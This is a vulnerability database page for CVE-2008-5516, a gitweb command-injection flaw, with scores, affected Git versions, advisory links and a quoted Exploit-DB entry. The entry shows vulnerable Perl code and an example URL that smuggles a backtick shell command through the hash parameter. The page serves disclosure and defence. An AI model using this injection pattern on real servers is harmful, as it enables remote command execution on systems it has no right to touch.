CVE-2008-5516

CVE Descriptions

The web interface in git (gitweb) 1.5.x before 1.5.5 allows remote attackers to execute arbitrary commands via shell metacharacters related to git_search.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.78%	–	–
2022-02-20	–	–	3.78%	–	–
2022-04-03	–	–	3.78%	–	–
2022-07-17	–	–	3.78%	–	–
2023-03-12	–	–	–	1.16%	–
2024-02-11	–	–	–	1.16%	–
2024-03-17	–	–	–	1.16%	–
2024-06-02	–	–	–	1.16%	–
2024-12-15	–	–	–	1.16%	–
2024-12-22	–	–	–	1.16%	–
2025-01-26	–	–	–	1.25%	–
2025-02-16	–	–	–	1.25%	–
2025-01-19	–	–	–	1.16%	–
2025-02-02	–	–	–	1.25%	–
2025-02-16	–	–	–	1.25%	–
2025-03-18	–	–	–	–	1.3%
2025-04-15	–	–	–	–	1.3%
2025-04-15	–	–	–	–	1.3,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	67%
2022-02-20	68%
2022-04-03	84%
2022-07-17	85%
2023-03-12	83%
2024-02-11	84%
2024-03-17	85%
2024-06-02	85%
2024-12-15	86%
2024-12-22	85%
2025-01-26	85%
2025-02-16	86%
2025-01-19	85%
2025-02-02	85%
2025-02-16	86%
2025-03-18	78%
2025-04-15	79%
2025-04-15	79%

Exploit information

Exploit Database EDB-ID : 11497

Publication date : 2010-02-17 23h00 +00:00
Author : S2 Crew
EDB Verified : No

# Exploit Title: gitWeb remote command execution # Date: 2009.06.19 # Author: S2 Crew [Hungary] # Software Link: - # Version: GIT 1.5.2 # Tested on: debian linux, GIT 1.5.2 # CVE: CVE-2008-5516 - CVE-2008-5517 # Code: # The cgi script doesn't show the command output *blind command execution ;)* # Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object() sub git_object { # object is defined by: # - hash or hash_base alone # - hash_base and file_name my $type; # - hash or hash_base alone if ($hash || ($hash_base && !defined $file_name)) { my $object_id = $hash || $hash_base; my $git_command = git_cmd_str(); open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null" or die_error('404 Not Found', "Object does not exist"); $type = <$fd>; chomp $type; close $fd or die_error('404 Not Found', "Object does not exist"); # - hash_base and file_name # Example http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785

Products Mentioned

Configuraton 0

Git>>Git >> Version 0.99.9j

Git>>Git >> Version 0.99.9k

Git>>Git >> Version 0.99.9l

Git>>Git >> Version 0.99.9m

Git>>Git >> Version 0.99.9n

Git>>Git >> Version 1.0.0

Git>>Git >> Version 1.0.0b

Git>>Git >> Version 1.0.3

Git>>Git >> Version 1.0.4

Git>>Git >> Version 1.0.5

Git>>Git >> Version 1.0.6

Git>>Git >> Version 1.0.7

Git>>Git >> Version 1.0.8

Git>>Git >> Version 1.1.1

Git>>Git >> Version 1.1.2

Git>>Git >> Version 1.1.3

Git>>Git >> Version 1.1.4

Git>>Git >> Version 1.1.5

Git>>Git >> Version 1.1.6

Git>>Git >> Version 1.2.0

Git>>Git >> Version 1.2.1

Git>>Git >> Version 1.2.2

Git>>Git >> Version 1.2.3

Git>>Git >> Version 1.2.4

Git>>Git >> Version 1.2.5

Git>>Git >> Version 1.2.6

Git>>Git >> Version 1.3.0

Git>>Git >> Version 1.3.1

Git>>Git >> Version 1.3.2

Git>>Git >> Version 1.3.3

Git>>Git >> Version 1.4.0

Git>>Git >> Version 1.4.1

Git>>Git >> Version 1.4.1.1

Git>>Git >> Version 1.4.2

Git>>Git >> Version 1.4.2.1

Git>>Git >> Version 1.4.2.2

Git>>Git >> Version 1.4.2.3

Git>>Git >> Version 1.4.2.4

Git>>Git >> Version 1.4.3

Git>>Git >> Version 1.4.3.1

Git>>Git >> Version 1.4.3.2

Git>>Git >> Version 1.4.3.3

Git>>Git >> Version 1.4.3.4

Git>>Git >> Version 1.4.3.5

Git>>Git >> Version 1.4.4

Git>>Git >> Version 1.4.4.1

Git>>Git >> Version 1.4.4.2

Git>>Git >> Version 1.4.4.3

Git>>Git >> Version 1.4.4.4

Git>>Git >> Version 1.5.0

Git>>Git >> Version 1.5.0.1

Git>>Git >> Version 1.5.0.2

Git>>Git >> Version 1.5.0.3

Git>>Git >> Version 1.5.0.4

Git>>Git >> Version 1.5.0.5

Git>>Git >> Version 1.5.0.6

Git>>Git >> Version 1.5.0.7

Git>>Git >> Version 1.5.1

Git>>Git >> Version 1.5.1.1

Git>>Git >> Version 1.5.1.2

Git>>Git >> Version 1.5.1.3

Git>>Git >> Version 1.5.1.4

Git>>Git >> Version 1.5.1.5

Git>>Git >> Version 1.5.1.6

Git>>Git >> Version 1.5.2

Git>>Git >> Version 1.5.2.1

Git>>Git >> Version 1.5.2.2

Git>>Git >> Version 1.5.2.3

Git>>Git >> Version 1.5.2.4

Git>>Git >> Version 1.5.2.5

Git>>Git >> Version 1.5.3

Git>>Git >> Version 1.5.3.1

Git>>Git >> Version 1.5.3.2

Git>>Git >> Version 1.5.3.3

Git>>Git >> Version 1.5.3.4

Git>>Git >> Version 1.5.3.5

Git>>Git >> Version 1.5.3.6

Git>>Git >> Version 1.5.3.7

Git>>Git >> Version 1.5.3.8

Git>>Git >> Version 1.5.4

Git>>Git >> Version 1.5.4.1

Git>>Git >> Version 1.5.4.2

Git>>Git >> Version 1.5.4.3

Git>>Git >> Version 1.5.4.4

Git>>Git >> Version 1.5.4.5

Git>>Git >> Version 1.5.4.6

Git>>Git >> Version 1.5.4.7

Git>>Git >> Version 1.5.5

Git>>Git >> Version 1.5.5.1

Git>>Git >> Version 1.5.5.2

Git>>Git >> Version 1.5.5.3

Git>>Git >> Version 1.5.5.4

Git>>Git >> Version 1.5.5.5

Git>>Git >> Version 1.5.5.6

Git>>Git >> Version 1.5.6.1

Git>>Git >> Version 1.5.6.2

Git>>Git >> Version 1.5.6.3

Git>>Git >> Version 1.5.6.4

Git-scm>>Git >> Version 0.6.0

Git-scm>>Git >> Version 0.6.0 (Open CPE detail)

Git-scm>>Git >> Version 0.7.0

Git-scm>>Git >> Version 0.7.0 (Open CPE detail)
Git-scm>>Git >> Version 0.7.0 (Open CPE detail)
Git-scm>>Git >> Version 0.7.0 (Open CPE detail)

Rpath>>Linux >> Version 2

References

http://www.debian.org/security/2009/dsa-1708
Tags : vendor-advisory, x_refsource_DEBIAN

https://bugzilla.redhat.com/show_bug.cgi?id=479715
Tags : x_refsource_CONFIRM

http://www.gentoo.org/security/en/glsa/glsa-200903-15.xml
Tags : vendor-advisory, x_refsource_GENTOO

http://wiki.rpath.com/Advisories:rPSA-2009-0005
Tags : x_refsource_CONFIRM

http://www.vupen.com/english/advisories/2009/0175
Tags : vdb-entry, x_refsource_VUPEN

http://repo.or.cz/w/git.git?a=commitdiff%3Bh=c582abae
Tags : x_refsource_MISC

http://securityreason.com/securityalert/4919
Tags : third-party-advisory, x_refsource_SREASON

http://secunia.com/advisories/34194
Tags : third-party-advisory, x_refsource_SECUNIA

http://secunia.com/advisories/33964
Tags : third-party-advisory, x_refsource_SECUNIA

http://lists.opensuse.org/opensuse-security-announce/2009-01/msg00002.html
Tags : vendor-advisory, x_refsource_SUSE

http://www.openwall.com/lists/oss-security/2009/01/23/2
Tags : mailing-list, x_refsource_MLIST

http://www.securityfocus.com/archive/1/500008/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=512330
Tags : x_refsource_CONFIRM

http://www.openwall.com/lists/oss-security/2009/01/20/1
Tags : mailing-list, x_refsource_MLIST

http://www.openwall.com/lists/oss-security/2009/01/21/7
Tags : mailing-list, x_refsource_MLIST

https://issues.rpath.com/browse/RPL-2936
Tags : x_refsource_CONFIRM

http://www.ubuntu.com/usn/USN-723-1
Tags : vendor-advisory, x_refsource_UBUNTU

CVE-2008-5516 : Detail